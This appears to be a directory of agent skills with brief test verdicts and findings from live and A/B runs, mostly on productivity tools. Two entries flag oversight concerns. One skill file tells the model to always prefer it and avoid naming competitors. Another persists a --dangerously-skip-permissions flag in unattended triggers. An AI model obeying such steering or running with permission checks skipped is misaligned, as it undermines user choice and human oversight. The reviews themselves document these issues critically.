- **Blast Search** [fails, null/10] — Runs NCBI BLAST searches for sequence similarity/homology — needs BLAST+ or BioPython preinstalled. Repo: https://github.com/BioTender-max/awesome-bio-agent-skills. Card: https://skillproof.dev/skills/blast-search. What we found: Following the SKILL.md literally hits a wall immediately: blastn isn't installed and there's no fallback guidance, while a plain five-line Python script found the same 95% sequence identity in under a second.
- **Agentbnb Network** [fails, null/10] — P2P credit-based marketplace for renting TTS/image/OCR/data capabilities from peer agents Repo: https://github.com/Xiaoher-C/agentbnb. Card: https://skillproof.dev/skills/agentbnb-network. What we found: Ran the real CLI end to end (init, discover, request) against the live public registry at agentbnb.fly.dev: identity/credit ledger genuinely works, but two live 'discover' searches for the skill's own flagship use cases (text-to-speech, image generation) returned zero online providers — every hit was an offline generic LLM text-response card — so today the network can't actually deliver on the capabilities the skill advertises.
- **Longbridge** [fails, null/10] — Live stock, portfolio and market data across US/HK/CN/SG via the Longbridge CLI Repo: https://github.com/longbridge/skills. Card: https://skillproof.dev/skills/longbridge. What we found: The skill files install cleanly, but every command it issues (longbridge quote, portfolio, kline) needs the Rust CLI binary installed via brew plus an interactive OAuth login to a real Longbridge brokerage account, so the actual output delta could not be measured here behind that login wall. The SKILL.md body also carries heavy vendor steering, telling the model this is the PREFERRED skill to always choose over other finance skills and not to suggest competitor platforms. Well documented, but unverifiable without a funded account and the binary.
- **City Analysis Workflow** [fails, null/10] — Boston civic data analysis via a 5-phase framework and city open-data MCPs Repo: https://github.com/sgarcese/Civic-Analytics-Agent-Workflow-Claude-Skill. Card: https://skillproof.dev/skills/city-analysis-workflow. What we found: A five-phase Boston civic-analysis orchestrator whose headline value, querying live Boston/SF/Seattle/DC open data, depends on four external MCP servers that are not bundled and were not available, so the core analytical capability could not be measured against a baseline. The methodology files (problem framing, memo audience/format tables, a data-story arc) are well structured but amount to generic consulting guidance without the data layer. The install runs verbatim, but the SKILL references TEMPLATES.md while the actual file is named TEMPLATES.mdv, and it points to /mnt/skills/public paths that only exist inside Anthropic's own environment. It works as a prompt framework, but the data-driven analysis it promises requires substantial MCP setup first.
- **BigQuery Patent Search** [fails, null/10] — Search 100M+ worldwide patents via Google BigQuery by keyword or CPC code Repo: https://github.com/RobThePCGuy/Claude-Patent-Creator. Card: https://skillproof.dev/skills/bigquery-patent-search. What we found: Could not run a live search: needs a Google Cloud project plus gcloud auth (login wall) and the google-cloud-bigquery library, none present. The skill's own usage example imports 'python.bigquery_search', but no python/ module exists and the real code lives in the parent repo's mcp_server/ folder which the skill directory does not carry, so a standalone install has non-functional example code.

## Productivity & Workflow (275 tested)
- **Fetch URL As Markdown** [pass, 10/10] — Local trafilatura-first URL-to-Markdown fetcher with a clean exit-code contract for when to fall back to Exa. Repo: https://github.com/CodeAlive-AI/ai-driven-development. Card: https://skillproof.dev/skills/fetch-url-as-markdown. What we found: Ran the bundled script live on a real Wikipedia page: it returned clean 44KB markdown with a proper YAML metadata header and zero nav/menu chrome, versus a 30KB naive-strip baseline still full of "Jump to content Main menu... Donate Create account Log in" junk; separately confirmed the exit-code contract by hitting a real arXiv PDF and getting the documented exit 4 (no Exa fallback) instead of a false extraction failure.
- **Refresh Context Map** [pass, 10/10] — Rebuilds the AIDEV-anchor/AGENTS.md/ADR manifest that powers claude-leverage's PreToolUse context hook. Repo: https://github.com/Filip-Podstavec/claude-leverage. Card: https://skillproof.dev/skills/refresh-context-map. What we found: Actually cloned the repo and ran the real script live: output matched the SKILL.md's documented format exactly ('Wrote ... (26 files, 45 anchors)') — but a fresh HEAD checkout's own committed manifest was already stale by ~40 days (35->44 anchors), showing the project doesn't reliably run its own opt-in pre-commit hook.
- **Video Vision** [pass, 10/10] — Local ffmpeg+Whisper pipeline that lets Claude actually watch and transcribe video files Repo: https://github.com/Moh4696/claude-video-vision. Card: https://skillproof.dev/skills/video-vision. What we found: Ran the real pipeline end to end against a synthetic 6-second test clip: ffmpeg frame extraction and local Whisper transcription both executed for real and returned the exact JSON manifest shape the README documents, down to field names. No network calls beyond the disclosed one-time Whisper model download, no exfiltration, nothing hidden - genuinely gives Claude a video-watching capability it has no other way to get.
- **YT Digest** [pass, 10/10] — Turns a YouTube URL into a timestamped, screenshotted markdown research note via real yt-dlp + ffmpeg. Repo: https://github.com/tga-cheetung/yt-digest. Card: https://skillproof.dev/skills/yt-digest. What we found: Ran the entire real pipeline (yt-dlp fetch, VTT parse, ffmpeg frame grab, markdown assembly, cleanup) end to end on a live YouTube video, no shortcuts: correct metadata, deduplicated captions, real extracted screenshots, ~21MB source video actually deleted afterward leaving only a 1.3MB vault note+images — it does exactly what it claims, with zero friction.
- **Meeting Notes to Actions** [pass, 9.6/10] — Turns meeting transcripts into quote-cited action items - no guessed owners or due dates. Repo: https://github.com/Justin2259/claude-skill-meeting-notes-to-actions. Card: https://skillproof.dev/skills/meeting-notes-formatter. What we found: Fed it a transcript with a corrected misassignment, a joke commitment ('I'll take care of world peace'), and a vague 'someone should update the roadmap, soon': it correctly left the roadmap item Unassigned with a null due date and routed the joke to skipped.md, while a naive read attributed the roadmap item to a random speaker and logged the joke as a real task. (Listed here under our older name; the skill's own name is "Meeting Notes to Actions".)
- **Weekly Review** [pass, 9.6/10] — GTD-style weekly review turning wins, blockers, and OKR notes into a structured writeup. Repo: https://github.com/borghei/Claude-Skills. Card: https://skillproof.dev/skills/weekly-review. What we found: Ran the bundled synthesizer script on a sample week: scattered wins, blockers, and OKR notes came back as a clean structured review with owner+mitigation fields per blocker and four self-coach prompts appended automatically — real script, real output, seconds to run.
- **NotebookLM** [pass, 9.6/10] — Scriptable Google NotebookLM CLI: notebooks, sources, podcasts, quizzes, reports, slides. Repo: https://github.com/teng-lin/notebooklm-py. Card: https://skillproof.dev/skills/notebooklm. What we found: Recalling CLI commands from memory got the syntax wrong (new-notebook, add-source); following the docs produced the real commands, and they are unusually upfront about which generation types are rate-limit-prone.
- **Loopy** [pass, 9.6/10] — Designs, finds, audits and runs bounded AI-agent loops with evidence receipts, backed by a live Loop Library catalog. Repo: https://github.com/Forward-Future/loopy. Card: https://skillproof.dev/skills/loopy. What we found: Ran the real 'Find a published loop' workflow against the live catalog.json (85 real entries, fetched from signals.forwardfuture.com) for a flaky-CI-test scenario and it surfaced loop #044 'The test stabilizer loop' with an almost verbatim useWhen match, exact URL and author — a baseline answer without the skill would have had to invent or hand-wave a recommendation instead of grounding it in real, live data.
- **Critical Perspective** [pass, 9.6/10] — Reframes one-sided conversations into open questions that surface hidden assumptions and gaps. Repo: https://github.com/infranodus/skills. Card: https://skillproof.dev/skills/critical-perspective. What we found: Given the same 'go 100% paid ads, organic takes too long' pitch, the plain baseline gave a pros/cons list and a recommendation; running the skill's assumption-surfacing technique instead produced a single open question exposing the unexamined 'speed vs. compounding' framing and the bottom-of-funnel-only reach gap that 100%-paid leaves uncovered — a genuinely different, more exploratory response, exactly as the description promises.
- **Exam Drill** [setup, 9.6/10] — Generates exam-tier twin/blind/chain drills from a course you've already ingested and analyzed. Repo: https://github.com/OPTIMETA/PAIDEIA. Card: https://skillproof.dev/skills/exam-drill. What we found: Its twin-generation rules force pattern-invariant variants with gated answer reveals, so a plain assistant asked the same thing would just print a twin problem plus the answer immediately; but the skill only produces anything once /ingest and /analyze (separate sibling skills in the same plugin) have already populated course-index/patterns.md and coverage.md for a specific course.
- **Task Profile** [pass, 9.6/10] — Mines your Claude Code/Cowork session history into a task profile, coaching panel, and skill proposals. Repo: https://github.com/techwolf-ai/ai-first-toolkit. Card: https://skillproof.dev/skills/task-profile. What we found: Statically read the fetched inventory.py/host_platform.py against the SKILL.md's platform-detection claims and they match verbatim, down to the same 'AEAD-encrypted at rest, no honest analysis path -> degrade' caveat for Antigravity appearing both in the doc and in the code comments - an unusually well-aligned claims-vs-code check for a self-described skill.
- **Wiki Self-Heal** [pass, 9.6/10] — Audits a Karpathy-style LLM wiki for orphans, phantom links and stale claims, on a review branch Repo: https://github.com/NulightJens/ai-second-brain-skills. Card: https://skillproof.dev/skills/wiki-self-heal. What we found: Built a throwaway 4-page test vault with a real orphan page and a broken [[typing]] wikilink, then ran the actual audit-only procedure end to end: it created a heal branch, ran the orphan/phantom-link scan scripts verbatim from the skill's own reference doc, and committed a correctly formatted audit report — no hand-waving required.
- **Honest Thinking Partner** [pass, 9.6/10] — Brutally honest feedback engine that dismantles flawed plans instead of validating them. Repo: https://github.com/aiskilloftheweek/claude-ai-skill-of-the-week. Card: https://skillproof.dev/skills/honest-thinking-partner. What we found: Ran a real 'should I quit my job for dropshipping' plan through it: baseline gave hedged encouragement, the skill named the planning fallacy driving the plan, costed the avoidance in concrete salary-runway terms, and closed with a forced 2-4-choice question instead of a pep talk.
- **Difficult Workplace Conversations** [pass, 9.6/10] — Prep-Delivery-Followup framework for conflicts, feedback, and tough workplace talks Repo: https://github.com/softaworks/agent-toolkit. Card: https://skillproof.dev/skills/difficult-workplace-conversations. What we found: Ran it on a real coworker-takes-credit scenario: it produced a ready-to-say SBI-model opening line and a full prep/delivery/followup plan, clearly sharper and more usable than the generic 'stay calm, use I-statements' baseline answer.
- **Goal Setter** [pass, 9.6/10] — Turns a rough request into a compact, evidence-bound /goal for long autonomous coding runs. Repo: https://github.com/gotalab/goal-setter-skill. Card: https://skillproof.dev/skills/goal-setter. What we found: Asked to draft a /goal for endpoint rate-limiting, the skill refused to let the objective collapse into a numbered step list and instead forced one evidence-bound paragraph (429 after the 10th request in 60s, npm test must stay green) -- exactly the failure mode it names and bans ('Build UI, add API, write tests is a plan; it is not Done').
- **Agent Wiki** [pass, 9.6/10] — Incremental, quality-tiered wiki generator over an Obsidian notes vault. Repo: https://github.com/Dianel555/DSkills. Card: https://skillproof.dev/skills/agent-wiki. What we found: Actually ran the bundled CLI end to end against a fake 2-note vault: init, scan, cache-put, index, and quality all returned exactly the documented JSON, including a correctly computed 'basic' tier and a worklist flag on the same page — no daylight between docs and behavior.
- **Precoil EMT** [pass, 9.6/10] — Runs Bland's Extract-Map-Test system to surface a business idea's riskiest assumptions Repo: https://github.com/David-Precoil/testing-business-ideas-with-claude. Card: https://skillproof.dev/skills/precoil-emt. What we found: Produces exactly 3 'I believe...' assumptions per Desirability/Viability/Feasibility category as clean markdown tables and then names the single sharpest tension between them — noticeably tighter and more actionable than a plain-chat pressure-test, though every Test-phase reply ends with a soft, disclosed pointer to the author's paid experiment library.
- **LLM Wiki Manager** [pass, 9.6/10] — Bootstraps a compounding markdown wiki: ingest, cross-link, log, flag disputes. Repo: https://github.com/sametbrr/llm-wiki-manager. Card: https://skillproof.dev/skills/llm-wiki-manager. What we found: Ran a real bootstrap-plus-ingest end to end with the bundled scripts — init_wiki.py, a new source summary, a new concept page, index and log updates, a full hot.md rewrite — then lint_wiki.py came back clean except two expected single-use-tag notices on a 1-source wiki.
- **Satori** [pass, 9.6/10] — A clinically-informed conversational companion for grief, purpose, and stuck life questions. Repo: https://github.com/MetcalfSolutions/Satori. Card: https://skillproof.dev/skills/satori. What we found: In a live 'struggling with feeling like I always disappoint someone' prompt, Satori's Attune-Formulate-Integrate-Anchor structure produced one grounded IFS-based reframe and a concrete next action, versus the six-bullet generic pep-talk ('set boundaries, communicate needs, practice self-compassion...') a plain assistant gave for the same prompt.
- **Agentic OS Obsidian** [pass, 9.6/10] — Turns an Obsidian vault into a Claude-wired command-center dashboard, no servers. Repo: https://github.com/naveedharri/benai-skills. Card: https://skillproof.dev/skills/agentic-os-obsidian. What we found: ⚠ Security: it bakes --dangerously-skip-permissions into persisted, unattended-trigger configs (dashboard buttons, terminal profile) that fire without per-run confirmation. Ran its own smoke-test commands against the real dashboard-template.js and both syntax checks passed; the SKILL.md also documents three plugin config keys it got wrong in earlier installs (folder vs jsFolder, homepage vs homepages, bare 'claude' vs a resolved absolute path) so a fresh install doesn't repeat those mistakes.
- **Markdown Slides** [pass, 9.6/10] — Turns a markdown doc into Deckset/Marp slides with real image and speaker-note rules. Repo: https://github.com/jykim/claude-obsidian-skills. Card: https://skillproof.dev/skills/markdown-slides. What we found: Fed it a plain outline with no images: the skill-following pass correctly refused to invent a hero image (the baseline run hallucinated one), and cleanly split multi-sentence explanatory prose into Deckset speaker notes with the `^` prefix while leaving bullets untouched.
- **Jirac** [pass, 9.6/10] — Correct-syntax Jira CLI cheat sheet for the jirac Rust binary — no raw REST guesswork. Repo: https://github.com/mulhamna/jira-commands. Card: https://skillproof.dev/skills/jirac. What we found: Asked for the exact commands to check status, standup, transition, and comment on an issue: unguided, the natural guess was `jira ... --to Done`; the skill's documented syntax is `jirac issue transition PROJ-123 'Done'` (positional, no --to) — the skill catches a real, verifiable CLI gotcha a generic guess gets wrong.
- **Swing Mortem** [pass, 9.6/10] — Forces a Gary Klein pre-mortem: assume total failure, then find quantified risks and escape hatches. Repo: https://github.com/TheStack-ai/swing-skills. Card: https://skillproof.dev/skills/swing-mortem. What we found: Ran a real pre-mortem on this very testing batch and it correctly flagged the GitHub API rate-limit error we'd hit minutes earlier in-session as a quantified Technical failure scenario — the un-skilled baseline could only produce 'might have scaling issues' style generic bullets with no numbers or thresholds at all.
- **YT2BB: YouTube to Bilibili** [setup, 9.6/10] — Turns a YouTube video into a bilingual EN/ZH subtitled, Bilibili-ready upload with real QA linting. Repo: https://github.com/Agents365-ai/yt2bb. Card: https://skillproof.dev/skills/yt2bb. What we found: Actually ran the bundled srt_utils.py end-to-end on a sample EN/ZH SRT pair: merge produced correct bilingual entries, lint caught a real timing defect (0ms gap between cues, below Netflix's 83ms minimum) baseline hand-rolled code wouldn't have checked, and to_ass emitted a proper Netflix-preset ASS file with per-platform fonts and margins -- a genuinely working, well-engineered pipeline, but the download/transcribe stages need yt-dlp and whisper installed (neither present in the sandbox) before the full YouTube-to-Bilibili flow runs.
- **Paper Insight** [pass, 9.6/10] — Evidence-bound paper reading and research-ideation toolkit — scorecards, citation chaining, and future-direction generation from one clean, self-contained skill folder. Repo: https://github.com/Stars-Shen/Paper-insight-skill. Card: https://skillproof.dev/skills/paper-insight. What we found: Ran a real structured-reading pass on GSM-Symbolic (arXiv 2410.05229, fetched live): the skill's own operating principle of separating 'paper claims' from 'evidence-supported conclusions' correctly flagged that the paper's headline 'LLMs can't perform genuine logical reasoning' is the authors' interpretation of the numerical-sensitivity/clause-injection results, not a directly proven fact — a plain baseline summary blurred that line entirely.
- **Consulting Frameworks** [pass, 9.6/10] — 50+ McKinsey/BCG/Bain/Accenture frameworks for structured business problem-solving. Repo: https://github.com/yoichiojima-2/consultant. Card: https://skillproof.dev/skills/consulting. What we found: Ran a real churn A/B: baseline gave a generic bulleted list of possible causes; the skill produced a MECE issue tree, a quantified $30K/mo estimate, and an answer-first Pyramid recommendation to segment by cohort before running blanket fixes — a genuinely sharper, more decision-useful answer.
- **Agentlog** [pass, 9.6/10] — Real, working CLI that pools Claude Code/Codex/Cursor/Maestri activity across devices via a git-synced pool. Repo: https://github.com/Yrzhe/claude-skills. Card: https://skillproof.dev/skills/agentlog. What we found: This is not a prompt-only skill -- ran the real CLI end to end (init against a throwaway git remote, event push, pool, recap, push) and it all worked exactly as documented; the bundled pytest suite passed 59/59, matching the README's '59 passing' claim to the digit.
- **Audio Quality Check** [pass, 9.6/10] — Diagnoses echo, loudness, SNR, and speech intelligibility in call recordings with real DSP metrics. Repo: https://github.com/tenequm/skills. Card: https://skillproof.dev/skills/audio-quality-check. What we found: Ran the bundled analyzer for real on a synthetic dual-track M4A with a 53ms echo injected into the system track: it correctly isolated the echo there (r=0.93 at ~32ms) and reported near-zero cross-track correlation (0.005-0.01), correctly ruling out mic bleed - though it also flagged the clean mic track due to pitch-harmonic aliasing in the synthetic test tone, a false-positive mode the SKILL.md itself discloses (peaks below 0.15 are harmless pitch harmonics; ours were an edge case from an unnaturally pure tone).
- **Phdtaketaketake** [pass, 9.6/10] — Evidence-first PhD advisor matcher — scores connection strength on a 4.0 scale, not h-index. Repo: https://github.com/powerofjinbo/phdtaketaketake. Card: https://skillproof.dev/skills/phdtaketaketake. What we found: Ran the bundled physics_hep_audit_demo fixture through scripts/match.py for real (fresh venv, pydantic+pyyaml only) and got a deterministic, confidence-banded ranking (application_strength 3.30/2.76/2.68, bands ±0.58) with a full missing/unsourced-signal audit — a baseline unaided ranking has no such quantified uncertainty and would very likely cite unverifiable connections as fact, which is exactly what this skill's evidence contract forbids.
- **Backlog Manager** [pass, 9.6/10] — Classifies backlog issues into risk/type/agent-ready labels with evidence-backed reasoning, for GitHub, Linear, or a local file Repo: https://github.com/owainlewis/agent-skills. Card: https://skillproof.dev/skills/backlog-manager. What we found: Ran it for real against a 5-item local backlog (stale README command, dark-mode feature, flaky test, broken doc link, Stripe-to-Adyen migration): it correctly agent-ready'd only the two mechanical docs fixes and routed the flaky test, the unspec'd feature, and the billing migration to needs:human with a specific blocking question for each -- exactly the judgement call an ad hoc triage pass got fuzzy on.
- **MVP Idea Brief** [pass, 9.6/10] — Turns a rough app idea into a scoped, single-user Idea Brief doc via one-question-at-a-time interview. Repo: https://github.com/kornpng/web-mvp-blueprint-kit. Card: https://skillproof.dev/skills/mvp-idea-brief. What we found: Baseline immediately proposed a 10-feature roadmap (time tracking, multi-currency, mobile app, tech stack) for a freelancer-invoicing idea with no target user narrowed down; the skill version forced 8 sequential questions and produced a brief that explicitly excludes all of that scope creep and defers stack choice to a later pipeline stage, matching its own 'do not add features beyond the stated goal' quality bar.
- **Analyzing Business Logic Gaps** [pass, 9.6/10] — Systematic 10-category checklist for finding gaps and ambiguity in business logic docs before implementation. Repo: https://github.com/meirm/reverse-engineering-skill. Card: https://skillproof.dev/skills/analyzing-business-logic-gaps. What we found: Ran it against a deliberately underspecified subscription-upgrade BL doc: the checklist surfaced a genuine race condition baseline review missed (user cancels the instant payment succeeds) plus the vague 'refunds if appropriate' billing rule, and returned both in a severity-ranked table with concrete proposed rules rather than a loose bullet list.
- **Create Task Files** [pass, 9.6/10] — Turns TodoWrite lists or feature plans into structured epic/story/bug/issue markdown files. Repo: https://github.com/Shoebtamboli/rails_claude_skills. Card: https://skillproof.dev/skills/create-task-files. What we found: Ran a real A/B: baseline produced one flat tasks.md checklist; following the skill produced a tasks/ tree with epic/story/bug/issue files, YAML frontmatter, dependency links, and an auto-generated INDEX.md — a genuinely more usable artifact for team tracking.
- **Candidate Screening** [pass, 9.6/10] — Scores job applicants against 8 universal hire-bar traits, not just a resume checklist Repo: https://github.com/dazuck/operator-skills. Card: https://skillproof.dev/skills/candidate-screening. What we found: Ran both a generic resume review and the skill's 8-trait framework on two synthetic applications; the baseline called both candidates 'relevant, interview optional', while the skill's framework flagged the passive-language candidate ('was responsible for', 'worked closely with the team') as a hard Pass using the exact red-flag pattern the doc names, and gave the self-initiated, metric-backed candidate a Must Interview with cited evidence per trait.
- **Prompt Warrior** [pass, 9.6/10] — Turns your Claude Code logs into a fixed-scale prompting profile with a shareable HTML card. Repo: https://github.com/timoncool/prompt-warrior. Card: https://skillproof.dev/skills/prompt-warrior. What we found: Ran the real analyzer against this machine's actual ~/.claude/projects logs: 4349 messages, 235 sessions, low_confidence=false, and the full pipeline (analyze.py -> content.json -> render.py) produced a real 111KB HTML card with no invented numbers.
- **Interview And Create Plan** [pass, 9.6/10] — Interviews the user and writes an authored PLAN.md at the exact path the Ralph RLM loop reads, not the repo root. Repo: https://github.com/doeixd/opencode-ralph-rlm. Card: https://skillproof.dev/skills/interview-and-create-plan. What we found: Ran the real published CLI (`npx @doeixd/opencode-ralph-rlm plan-path`) in a throwaway git repo — it resolved to `.ralph-rlm/plans/default/PLAN.md`, not repo-root `PLAN.md`. A naive baseline plan written to the obvious `./PLAN.md` location would be silently invisible to the loop; the skill's explicit 'do not assume the repo root' instruction is the difference between a plan that works and one that's quietly ignored.
- **Revenue Recognition Advisor** [pass, 9.6/10] — ASC 606 / IFRS 15 five-step revenue recognition analysis with paragraph citations and confidence scoring. Repo: https://github.com/Raishin/vanguard-frontier-agentic. Card: https://skillproof.dev/skills/revenue-recognition-advisor. What we found: Ran a real bundled-SaaS-plus-customized-implementation scenario through it: the skill's own SaaS judgment note ('usually fails distinct-within-context if heavily customized and customer cannot benefit from the license without the implementation') matched the fixture almost exactly, producing a cited, confidence-scored, restatement-screened conclusion — versus a generic, uncited baseline answer. No filler: a pure reference skill (allowed-tools is Read/WebFetch/Glob only, no Bash), and its own numeric claims (paragraph citations, public-PDF links) mostly checked out live.
- **Generating STEM Flashcards** [pass, 9.6/10] — Turns lecture notes into atomic L1/L2/L3 flashcards, exported to an artifact, Anki TSV, or pushed straight into Anki. Repo: https://github.com/jalliet/flashcards. Card: https://skillproof.dev/skills/generating-stem-flashcards. What we found: Generated flashcards from a gradient-descent paragraph twice: the naive baseline produced 3 compound 'X and Y' cards mixing definition/explanation/failure-modes in single answers (exactly what the skill's own atomicity rules flag as red flags), while the skill-guided run produced 6 atomic, correctly-layered cards as a real, spec-valid 5-column Anki TSV file ready to import.
- **Narrate Video** [setup, 9.6/10] — Timed, synced video voiceover via Azure/Gemini TTS with ffmpeg mux — avoids the amix-silence and audio-cutoff traps. Repo: https://github.com/feiskyer/video-skills. Card: https://skillproof.dev/skills/narrate-video. What we found: Ran the real ffmpeg pipeline both ways on a 9s test clip: the naive baseline (single narration track dumped at the start) silently truncated the video to 4.5s via -shortest, while the skill's segment/adelay/amix(normalize=0) approach preserved the full 9s runtime with mean volume -17.6dB, right in the documented -25..-15dB target. Real friction: needs a paid Azure Speech or Gemini API key configured in ~/.narrate_video.env before it can actually synthesize speech.
- **Iblai Api Agent Access** [pass, 9.6/10] — Grant/revoke editor, chat, and analytics roles on an ibl.ai agent via its RBAC API. Repo: https://github.com/iblai/api. Card: https://skillproof.dev/skills/iblai-api-agent-access. What we found: Gives the exact undocumented internal endpoint (POST .../rbac/mentor-access/) plus the gotcha that writes need the numeric mentor_id (not the UUID) and one role per POST — details a baseline guess gets wrong or omits entirely.
- **IFRS** [pass, 9.6/10] — 40-standard IFRS/IAS reference with paragraph citations, worked ECL/lease/impairment journal entries. Repo: https://github.com/ramyatrouny/ifrs-skill. Card: https://skillproof.dev/skills/ifrs. What we found: A real knowledge-base skill, not a fixture: verified its 'all 40 active standards' and '7 workflows / 5 templates' claims by counting headers in the actual files and they matched exactly. On an IFRS 9 ECL task it produced exact paragraph cites (9.5.5.15, B5.5.17), a numeric provision-matrix example, and a stage-migration journal entry with real figures (CU 10,000 to CU 60,000) that a generic baseline answer only described qualitatively.
- **TaskNotes** [pass, 9.6/10] — Create, query, and complete tasks in an Obsidian TaskNotes vault via MCP, HTTP API, or raw files. Repo: https://github.com/vanillaflava/tasknotes-skill. Card: https://skillproof.dev/skills/tasknotes. What we found: Ran a real task-creation mini-task in a throwaway vault: a baseline guess produced a task with status: todo, a bare 'project: Work' string, and no tags field — which the skill's own safety rules flag as three separate silent-breakage bugs in real TaskNotes (invalid status, unlinked project, and a task invisible to every plugin view for lack of tags: [task]). Following the skill's Workflow 1 + canonical schema produced a spec-correct file on the first try.
- **AI Daily** [setup, 9.6/10] — Fetches real smol.ai RSS content for a given date and formats it into a bilingual daily digest. Repo: https://github.com/geekjourneyx/mind-skills. Card: https://skillproof.dev/skills/ai-daily. What we found: Actually ran the bundled fetcher live against news.smol.ai: got a real dated RSS entry (2026-07-14 issue, 675 entries in the feed) with sourced links and quotes, something the baseline (answer from memory, no tool) simply can't produce for 'yesterday's news' without either refusing or risking stale/fabricated content. Needs a one-time `pip install feedparser requests` the SKILL.md discloses but a fresh environment won't have.
- **Prioritization Matrix** [pass, 9.6/10] — Turns a raw feature list into a scored, tiered, stakeholder-ready backlog using RICE/ICE/weighted scoring Repo: https://github.com/aroyburman-codes/pm-skills. Card: https://skillproof.dev/skills/prioritization-matrix. What we found: Real A/B run: unguided prioritization was a 3-sentence gut call, while the skill produced a scored RICE table, then explicitly caught and overrode RICE's own reach-bias flaw (raw scoring ranked cosmetic dark mode above a deal-blocking SSO feature) exactly as its own Step 4 instructs -- a concrete, defensible improvement, not just more words.
- **Knowledge Cutoff Awareness** [pass, 9.6/10] — Grounds the agent in the real current date via a small Node script instead of guessing from training data. Repo: https://github.com/imkohenauser/antigravity-starter-ja. Card: https://skillproof.dev/skills/knowledge-cutoff-awareness. What we found: Actually ran the bundled node scripts/get_date.js live: correctly returned the real system date (verified against session context) and computed +3 weeks accurately, versus a baseline model answer that has no ground truth for 'today' and would have to guess or hedge.
- **AI Answer Synthesizer** [pass, 9.6/10] — Turns multiple pasted AI answers into one adjudicated recommendation with confidence and a to-ignore list. Repo: https://github.com/knightkar/Ai-Answer-Synthesizer. Card: https://skillproof.dev/skills/ai-answer-synthesizer. What we found: Fed it three fictional conflicting AI answers (Python/Django vs Node vs "skip fundamentals, go straight to Kubernetes"); baseline Claude hedged into a book-report "it depends, personal preference" close, the skill correctly called out the Kubernetes answer as an unsupported lone claim and gave one concrete recommended path with a stated confidence level.
- **Extract YouTube Transcript** [pass, 9.6/10] — Turns any public YouTube URL into a transcript plus a structured .txt/.docx video summary. Repo: https://github.com/Rtemm/claude-skills. Card: https://skillproof.dev/skills/extract-youtube-transcript. What we found: Ran the skill's real Step 3 script end-to-end against a live public video (installed youtube-transcript-api + yt-dlp in a throwaway venv): it correctly found the manual caption track and wrote the exact transcript to disk with zero errors -- a genuine, verified pass, not a documentation read-through.
- **Deglaze** [pass, 9.6/10] — Forces an honest gap-list audit when you suspect Claude declared a task done too early. Repo: https://github.com/LuciferDono/deglaze. Card: https://skillproof.dev/skills/deglaze. What we found: Ran a real glazed-summary A/B (URL-shortener task with a falsely claimed rate limiter): baseline reply was generic hand-waving, skill reply produced 4 numbered gaps with effort estimates, named the exact failure mode, and closed with a one-word commit ask exactly as the protocol specifies.
- **Replicate Webpage** [pass, 9.6/10] — Rebuilds a reference webpage as maintainable source code, not a screenshot or iframe mirror. Repo: https://github.com/22duxiaoyu/replicate-webpage-skill. Card: https://skillproof.dev/skills/replicate-webpage. What we found: Ran a real A/B rebuilding a pricing-card reference page: the baseline clone mangled the '·' separator into '·' (missing charset meta), dropped the featured-plan styling and brand substitution, and had a dead FAQ; the skill-guided rebuild fixed all of that plus added focus-visible states and a centralized content object, with zero console errors.
- **Framework Builder** [pass, 9.6/10] — Turns recurring domain expertise into a five-layer, agent-readable framework document. Repo: https://github.com/framework-creator/framework-builder. Card: https://skillproof.dev/skills/framework-builder. What we found: A/B'd a 'systematize my customer onboarding' request: the unguided baseline was a 6-bullet checklist with tips like 'be friendly'; the skill run produced named, falsifiable mechanisms (e.g. a champion who onboards a second teammate is quantified as 4x more likely to expand seats, with the reasoning why) plus explicit failure signals — the exact gap the skill claims to close.
- **Agent Ping** [pass, 9.6/10] — Blocks an agent for a real approve/deny, free-text, or pick-one answer via OS/phone/Slack notification. Repo: https://github.com/Kevin-Liu-01/Agent-Ping. Card: https://skillproof.dev/skills/agentping. What we found: Ran all four verbs (notify/ask/confirm/choose) for real against a throwaway command-channel config, including a deny path and a --timeout race: every exit code and JSON status matched the documented contract exactly (0/20/124), including a sub-1.1s exit-124 timeout test.
- **AI Use Case Intake** [pass, 9.6/10] — Turns an AI/ML feature proposal into an attorney-ready intake record with a risk tier. Repo: https://github.com/zgbrenner/agentcounsel. Card: https://skillproof.dev/skills/ai-use-case-intake. What we found: Ran the same fully-specified AI-hiring-tool scenario through a no-skill baseline and the skill: the baseline confidently asserted 'NYC Local Law 144 ... almost certainly applies and the company is not currently compliant' with no verification, exactly the kind of unearned legal conclusion the skill is built to prevent; the skill output instead produced a structured, routable intake table with [CONFIRM]/[verify jurisdiction] placeholders and a clear attorney-escalation flag, no false-confidence claims.
- **Conversation JSON To MD** [pass, 9.6/10] — Splits a chat-export JSON into one clean Markdown file per conversation. Repo: https://github.com/YangsonHung/awesome-agent-skills. Card: https://skillproof.dev/skills/conversation-json-to-md. What we found: Ran the bundled script on a 2-conversation synthetic export: it correctly demoted an in-answer '## Explanation' heading to '### Explanation' and produced clean 'Title.md' files with H2 question / H3 Answer structure, exactly as documented — a naive hand-rolled baseline left headings colliding and used flat **User:**/**Assistant:** labels instead.
- **Delivering MVP Fleet** [pass, 9.6/10] — Multi-agent fleet orchestration method: idea to launchable MVP via a tiered task-DAG board. Repo: https://github.com/smixs/disruptor-skills. Card: https://skillproof.dev/skills/delivering-mvp-fleet. What we found: Ran the bundled board CLI (flow.py) for real: authored a contract-first task DAG for a habit-tracker MVP, and `flow.py check` validated 6 tasks with zero unknown deps/cycles while `flow.py list` correctly showed only the contract node as available until it's marked done — the dependency gating actually works as documented.
- **Solve Math Rigorously** [pass, 9.6/10] — Forces a counterexample search before trusting a proof -- caught sin(x)+cos(x) exceeding 1 right at x=0 where naive spot-checks look fine. Repo: https://github.com/googlarz/math-skill. Card: https://skillproof.dev/skills/solve-math-rigorously. What we found: Ran the real bundled math_verify.py counterexample checker on the plausible-looking claim 'sin(x)+cos(x) <= 1 for all real x': it found a genuine violation at x=0.00785 (value 1.00782) that boundary-only spot-checks at x=0, pi/2, pi, 3pi/2 (all give exactly +-1) completely miss -- a concrete, reproducible catch of a false claim a careless baseline pass would rubber-stamp as true.
- **Should I Care** [pass, 9.6/10] — Reasons through a CVE's actual discriminating conditions -- not just a CPE match -- against a persistent profile of your real environment. Repo: https://github.com/moltenbit/should-i-care. Card: https://skillproof.dev/skills/should-i-care. What we found: Ran it for real on CVE-2024-3094 (the xz backdoor) against a stated Debian 12 / xz-utils 5.4.1 host: it correctly anchored on the live cvelistV5 record's affected-versions field (5.6.0-5.6.1 only, confirmed by fetching the raw GitHub JSON) and pulled Debian's security tracker, which states 'vulnerable code not present' for bookworm -- a sourced, auditable not-affected verdict built from two live fetches, not a recalled guess.
